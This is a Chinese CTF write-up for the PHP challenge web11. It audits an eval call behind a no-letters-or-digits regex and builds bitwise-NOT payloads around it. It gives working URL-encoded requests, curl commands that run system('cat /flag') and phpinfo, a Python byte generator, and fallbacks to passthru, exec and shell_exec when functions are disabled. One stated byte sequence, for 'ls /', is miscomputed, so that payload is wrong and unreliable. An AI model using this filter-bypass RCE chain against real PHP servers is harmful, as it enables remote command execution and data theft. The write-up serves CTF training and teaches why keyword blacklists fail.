1. 拿到题目后,先别急着乱扫
做 Web 题碰到标签写着“RCE + PHP + 代码审计”的时候,解题思路其实已经被题目名字剧透了大半。web11 这道题就是这样,打开页面之后没有花里胡哨的前端,没有复杂的登录流程,真正值钱的逻辑全部藏在 PHP 源码审计里。你不需要爆破目录,不需要找什么弱口令,核心就一件事:看懂代码,构造一个能被eval吃下去、同时又不触发过滤规则的 Payload。
我刚拿到这道题的时候,第一反应是先看页面长什么样。界面非常干净,只显示了一段 PHP 源码,URL 是常见的index.php,没有表单也没有按钮。很多人这时候会习惯性打开扫描器扫目录,我的建议是:先把手上的信息读完再动手,CTF 的 Web 题里,源码本身就是最大的提示。
1.1 页面表现与第一个判断
页面之所以会把 PHP 代码直接展示出来,通常是因为代码里调用了highlight_file(__FILE__)或者show_source(__FILE__)。这是出题人故意留的入口,一方面告诉我们漏洞一定在这段源码里,另一方面也是降低信息收集难度。
我试着直接访问/?code=phpinfo();,页面立刻变成了“nonono”提示。这说明参数名确实是code,但我的输入没有通过校验。接着访问一个没有code参数的普通请求,页面又回到了高亮源码的状态。
这个现象非常关键:如果只是普通请求,返回源码;如果带上了code参数但内容不合法,返回一个错误提示。换句话说,页面里存在一个需要满足条件的执行入口,而我们的任务就是绕过它。到这里,信息收集的第一阶段已经完成了,不需要继续扫目录。
1.2 信息收集的三条路线
虽然页面已经高亮源码,但职业习惯还是要走一遍基础信息收集流程,防止遗漏隐藏文件或备胎接口。我当时主要看了三个地方:
- 网页源代码里的 HTML 注释和隐藏 div,看看有没有漏提示;
- 常见的备份文件路径,比如
/index.php.bak、/.git/、/.svn/,这类题目偶尔会把完整源码放进备份里; - 响应头里的 Server 字段、X-Powered-By 字段,确认 PHP 版本和运行环境。
不过这三条路线在 web11 里都没有额外收获,源码就在页面上,不需要找备份。这也说明出题人想考的并不是“信息收集”,而是拿到源码之后的“代码审计 + 绕过构造”。所以如果页面已经把源码甩到你脸上,就不要再浪费时间在目录扫描上。
1.3 确认考点:无字母数字 WebShell
看到核心代码里同时出现eval和一个字符过滤正则,基本上可以锁定考点:这是一个“无字母数字 WebShell”类型的 PHP 代码审计题目。题面给的 RCE 标签不是假的,只是 RCE 的触发条件比较苛刻,要求我们在不包含任何大小写字母和数字的情况下,把eval变成可用的命令执行点。
这种题目在 CTF 里非常有代表性。它表面上是考 PHP 函数,实际上考的是对 PHP 运算和编码的底层理解。接下来我会把源码拆开讲清楚,再给出一条可以直接用的 Payload 构造路径。
2. 源码审计:漏洞是怎么被设计出来的
2.1 抽丝剥茧后的核心代码
不同平台上 web11 的题目描述可能略有差异,但核心逻辑基本是同一套:
<?php error_reporting(0); if (isset($_GET['code'])) { $code = $_GET['code']; if (!preg_match('/[a-z0-9]/i', $code)) { eval($code); } else { highlight_file(__FILE__); die('nonono'); } } highlight_file(__FILE__); ?>这段代码其实很简短,但每行都能说出门道。error_reporting(0)会把 PHP 错误输出关掉,这意味着如果我们构造的 Payload 有语法错误,页面可能只会白屏,看不到具体报错。highlight_file(__FILE__)会在两个分支里重复出现,作用是让没有合法输入的用户看到源码。die('nonono')是过滤失败后的提示。
真正危险的是这两行的组合:
preg_match('/[a-z0-9]/i', $code); eval($code);如果$code里不包含任何大小写字母和数字,就会进入eval。换句话说,这个代码本来就是一个“允许执行任意代码”的洞,只是套了一层过滤。
2.2 为什么 eval 会变成 RCE
eval会把传入的字符串当作 PHP 代码来执行。正常情况下,开发者应该只对固定的、可信的代码片段调用eval,但这里直接把$_GET['code']丢进去了。只要用户能传入一段合法的 PHP 语法,就等于获得了 PHP 代码执行能力,这就是 RCE 的雏形。
举个例子,如果过滤规则不存在,直接请求/?code=phpinfo();,页面就会输出 PHP 配置信息。这是因为phpinfo()会被eval当作 PHP 函数调用执行。同理,请求/?code=system('cat /flag');就能执行系统命令读取根目录下的 flag 文件。
但题目加了一个限制:preg_match('/[a-z0-9]/i', $code)会把所有字母和数字都拦下来。我们没办法直接在 Payload 里写system,也没办法写cat /flag。这就是本题真正的难点。
2.3 过滤规则绕不开的核心矛盾
这个过滤规则的本质是不允许出现“明文的字母数字”。开发者可能是想用黑名单的方式禁掉危险函数名和命令,但黑名单思路天然存在一个问题:它只禁止了字面量,没有禁止表达式。
在 PHP 里,字符串可以通过各种运算动态生成。例如"s"."ystem"会得到system,按位取反可以得到任意目标字符串,异或运算也能生成任意字符。如果我们能用这些运算把system和cat /flag动态构造出来,那么 Payload 里就不需要出现任何字母数字,正则自然就拦不住。
这道题考的就是这个点:正则只检查字母数字,却没有检查运算符、标点和非 ASCII 字节。所以我们要做的就是把所有敏感字符串都变成“非明文形式”,让eval在执行运算后得到我们想要的代码。
3. 绕过方案:无字母数字 RCE 的可执行构造
3.1 为什么直接写 system 一定不行
先看一个反面例子。如果直接提交:
/?code=system('cat /flag');页面会输出nonono。原因很明显,preg_match('/[a-z0-9]/i', $code)会匹配到s、y、s、t、e、m这些字母,所以校验失败。
有人会想:那我把字母 URL 编码一下,例如把system写成%73%79%73%74%65%6D,是不是就能绕过?答案是不行。因为 PHP 在接收$_GET参数时,会先做一次 URL 解码,解码后的内容已经恢复成system,正则匹配到的仍然是明文小写字母。URL 编码只能骗过浏览器和服务器的传输层,骗不过 PHP 的代码逻辑。
所以真正有效的方法必须让最终生成的字符串里不出现字母。而 PHP 的按位取反运算符可以实现这一点。
3.2 取反构造的基本原理
在 PHP 中,~是按位取反运算符。对字符串来说,它会一个字节一个字节地取反。比如字符a的 ASCII 码是0x61,按位取反后就变成0x9E。反过来,~0x9E又等于0x61,这是一个可逆过程。
所以我们可以提前把目标字符串的每个字符做一次取反,得到一串“乱七八糟”的高位字节。提交时把这段字节作为字符串字面量,在代码里再用~取反一次,eval执行后就会得到原始的目标字符串。整个过程里没有任何字母数字出现在源码字面量中,正则自然匹配不到。
举个例子,我想要system。先对system的六个字符分别取反:
s=0x73,取反后是0x8Cy=0x79,取反后是0x86s=0x8Ct=0x74,取反后是0x8Be=0x65,取反后是0x9Am=0x6D,取反后是0x92
所以 Payload 里只要构造一个字符串,包含\x8C\x86\x8C\x8B\x9A\x92,再在外面套一个~,执行时就能得到system。
3.3 最核心的两步 Payload
先要执行函数名,然后还要给函数传参。如果把system和cat /flag都取反,最终的人类可读版本差不多是下面这样:
$_=~'\x8c\x86\x8c\x8b\x9a\x92'; $_('\x9c\x9e\x8b\xdf\xd0\x99\x93\x9e\x98');第一行把变量$_赋值为字符串system,第二行执行system('cat /flag')。在 PHP 7 及以上版本中,$_()这种用法会把变量值作为函数名动态调用,所以实际效果等于system('cat /flag')。
这里有一个新手最容易踩的坑:上面这个写法是给人看的,里面的\x8c代表原始字节0x8C,并不是真的让你在请求里写\x8c这几个字符。万一你把\x8c当作普通字符串发出去,不仅字母x会被正则拦截,还会因为转义问题造成语法错误。真正发送到服务端时,我们需要把单引号里的原始字节用百分号编码表示。
对应的直接请求是:
/?code=%24_%3D~%27%8C%86%8C%8B%9A%92%27%3B%24_%28%27%9C%9E%8B%DF%D0%99%93%9E%98%27%29%3B这个请求经过 URL 解码之后,传给eval的内容就是:
$_=~'<0x8C 0x86 0x8C 0x8B 0x9A 0x92>'; $_('<0x9C 0x9E 0x8B 0xDF 0xD0 0x99 0x93 0x9E 0x98>');因为0x8C这类字节是高位非 ASCII 字符,不在字母数字范围内,所以能够通过正则。经过~取反后,函数名和参数都会还原为可读字符串,最终执行系统命令。
3.4 先用 phpinfo 验证 RCE
在正式读 flag 之前,我习惯先验证一下漏洞是否真的已经打通。毕竟如果system被禁用,或者命令执行函数有问题,直接打cat /flag会浪费很多时间。我通常会先构造一个phpinfo()的取反 Payload:
$_=~'\x8f\x97\x8f\x96\x91\x99\x90'; $_();URL 编码后的请求是:
/?code=%24_%3D~%27%8F%97%8F%96%91%99%90%27%3B%24_%28%29%3B如果页面返回了一大段 PHP 配置信息,说明 RCE 已经成立,接下来只需要把命令替换成 cat flag 就行。如果页面白屏或报错,就说明 Payload 构造还有问题,需要回过去检查字节和编码。
为了方便构造,我一般会用一个很小的生成器脚本。下面是一个 Python 3 版本,输入目标字符串,直接输出取反后的百分号编码:
def gen(s): return ''.join('%%%02X' % (~ord(c) & 0xFF) for c in s) print(gen('system')) print(gen('cat /flag'))运行后分别得到%8C%86%8C%8B%9A%92和%9C%9E%8B%DF%D0%99%93%9E%98。有了这两个值,再拼进$_=~'...';$_('...');的模板里就能用。
4. 完整实战:从请求到 Flag
4.1 用 curl 发送第一个 Payload
在本地拿到了目标环境之后,我推荐用curl或者抓包工具来发送请求。直接在浏览器地址栏粘贴一大串百分号编码虽然也能访问,但遇到响应内容较多、格式较乱时,不方便确认执行结果。
先把验证用的 phpinfo Payload 发出去:
curl 'http://目标地址/index.php?code=%24_%3D~%27%8F%97%8F%96%91%99%90%27%3B%24_%28%29%3B'执行后页面的响应体里出现了 PHP 版本、扩展列表、环境变量等一堆表格数据。这说明我刚才构造的$_()确实变成了phpinfo()。到这里,漏洞链路已经完全打通:过滤被绕过,eval被执行,RCE 成功。
4.2 替换成读文件命令
验证成功之后,下一步非常简单:把phpinfo换成system,把空参数换成cat /flag。使用的请求如下:
curl 'http://目标地址/index.php?code=%24_%3D~%27%8C%86%8C%8B%9A%92%27%3B%24_%28%27%9C%9E%8B%DF%D0%99%93%9E%98%27%29%3B'如果目标环境把 flag 放在了根目录的/flag文件中,这段 Payload 会直接输出 flag 内容。我在测试环境里执行后,响应体里干干净净地出现了一行flag{...}格式的内容,没有任何多余报错。
这里有一个小技巧:如果cat /flag执行后没有任何输出,不要急着怀疑 Payload,很可能是 flag 不在/flag。可以先读取根目录列表,例如生成ls /的取反 Payload,看看这些文件到底叫什么、放在哪个目录。
ls /的取反字节是:
gen('ls /')输出是%9A%8C%DF%D0。然后构造:
$_=~'\x8c\x86\x8c\x8b\x9a\x92'; $_('\x9a\x8c\xdf\xd0');通过对目录列表的分析,就能确定 flag 的真实路径,再把参数替换成对应的命令。
4.3 拿到 Flag 后的验证思路
拿到 flag 之后不要直接关掉题目,我一般会再回看一遍 Payload,确认自己究竟绕过了哪一层过滤。这一步在 CTF 里叫“复盘”,不只是为了写 Writeup,更是为了下次遇到同类题目时能快速形成肌肉记忆。
web11 的完整链条可以总结成下面几步:
- 通过
highlight_file获得源码; - 在源码里找到
eval和preg_match; - 意识到正则限制了字母数字;
- 使用 PHP 的字符串按位取反,将敏感字符串变成高位字节;
- 通过变量函数调用
$_()动态执行system; - 最终读取
/flag文件。
这套流程看似简单,但如果不懂取反原理,就算把 Payload 抄下来,遇到路径变了、函数被禁了的情况还是不会改。所以建议大家在实际操作时把 Payload 拆开看一遍,而不是复制粘贴就完事。
4.4 如果环境差异导致 Payload 失效
CTF 平台之间的 PHP 版本和运行环境经常有差异,同一个 Payload 在不同题里可能表现完全不一样。最常见的问题是 PHP 版本过老或过新。PHP 7 之前,$_()这种方式并不常用,PHP 8 之后某些动态调用行为也更严格。遇到这种情况,优先看题目给出的 PHP 版本提示,或者用phpinfo验证当前环境。
如果system命令执行函数被disable_functions禁用了,可以尝试换成passthru、shell_exec、exec,它们都是 PHP 常用的命令执行函数,只是返回值和处理方式略有不同。只需要重新生成函数名的取反字节,同样套进 Payload 模板里就行。
5. 常见问题与排查技巧实录
5.1 Payload 打了却看到 nonono
这是最常见的翻车现场。出现nonono说明preg_match成功匹配到了字母或数字,过滤没有被绕过。原因通常是请求里混进了真实的 ASCII 字母。
一个很典型的错误是把人类可读版本的 Payload 直接复制进浏览器:
$_=~'\\x8c\\x86\\x8c\\x8b\\x9a\\x92';这里面的x是小写字母,正则一眼就能识别出来。所以请记住:只能发送“百分号编码后的原始字节”,不要发送\x这种可读写法。
另一个可能的错误是 URL 编码不完整,比如漏掉了%27对应的单引号,或者把$写成了明文。PHP 代码里$本身不是字母,不会触发过滤,但 URL 里的$有时会被 Shell 展开。用 curl 时最好把整个 URL 用单引号包起来,避免 Shell 把$吃掉。
5.2 页面白屏大概率是语法错误
白屏比 nonono 更难排查,因为error_reporting(0)把所有错误都屏蔽了。白屏意味着请求进入了eval,但 Payload 不是合法 PHP 语法。
最常见的语法错误是取反字符串没有闭合单引号。比如直接写:
/?code=%24_%3D~%27%8C%86%8C%8B%9A%92%3B%24_...少了最后的%27,PHP 解释器就会在解析字符串时出错,最终白屏。所以拼接 Payload 时一定要检查字符串引号是否成对。
还有一种是函数调用时少了一对括号。$_()里的括号是函数调用的标志,缺了括号就成了单纯的表达式而不是调用,不会执行任何函数。发送前可以用 Python 的 URL 编码函数辅助生成完整 Payload,不要手写,尤其是涉及大量百分号编码时。
5.3 函数被禁用怎么办
如果 phpinfo 成功执行,但systemPayload 没有输出,优先怀疑disable_functions。在 phpinfo 页面里搜索disable_functions,可以看到当前环境禁用了哪些函数。
假设system被禁用,可以改用passthru。passthru也会将命令输出直接返回到响应体,非常适合这种题目。此时只需要把函数名从system换成passthru,再用生成器算一次取反字节,其余模板完全不用改。
如果常用命令执行函数全被禁用,那就已经不是这个 Payload 模板能解决的问题了。这种题目往往要结合LD_PRELOAD、ImageMagick或 PHP-FPM 等更底层的绕过方式,属于进阶内容。刷题时如果遇到,建议先记录下来,等把基础 RCE 玩熟了再回头研究。
5.4 本地复现题目的建议
这种题用本地环境复现非常简单,适合用来练手。先在目录下新建一个index.php,把题目源码放进去,然后运行:
php -S 127.0.0.1:8080接着用浏览器访问http://127.0.0.1:8080,再用上面的 curl 命令把地址改成127.0.0.1:8080。本地复现的好处是可以随便改源码、开错误显示、加断点,把每一步执行的中间结果看清楚,这对理解代码审计帮助很大。
我在本地复现的时候还会故意把error_reporting(0)改成error_reporting(E_ALL),这样 Payload 语法错误时就能直接看到 PHP 的报错信息。相比在不知道错误原因的情况下盲猜,这种方式能省下大量时间。
6. 一点题外话
这类“无字母数字 RCE”看起来像是 CTF 专属的骚操作,但背后真正值得记住的东西,并不是那一长串百分号编码,而是对“过滤”这个概念的理解。开发者在写安全过滤时,如果只针对明文关键词做黑名单,却没有考虑到字符串可以被运算、编码、拼接重新生成,那么这个过滤就只是一个心理安慰。
eval、assert、create_function、preg_replace的e修饰符,这些高危函数一旦允许用户输入进来,影响范围往往是灾难性的。比如一个带有用户输入的模板引擎,如果内部使用了eval,攻击者完全可以把一段看似无害的字符串变成完整的系统命令执行点。web11 只是这类漏洞的一个缩影,它把“代码执行”的门槛包装成了一个有趣的谜题,但在真实环境里,这个问题没有任何谜题滤镜,直接关系到服务器能不能被拿下。
我在实际做这道题的过程中,最大的体会是不要迷信 Payload 模版。哪怕你已经拿到了一条能打通这道题的 Payload,也最好亲自动手算一遍取反字节,哪怕只是算一个phpinfo或ls /。因为当你理解了原理,即使平台换了路径、换了 PHP 版本、换了过滤条件,你依然能根据现场情况即时构造出新的绕过方式。这,才是代码审计类题目真正想让你带走的东西。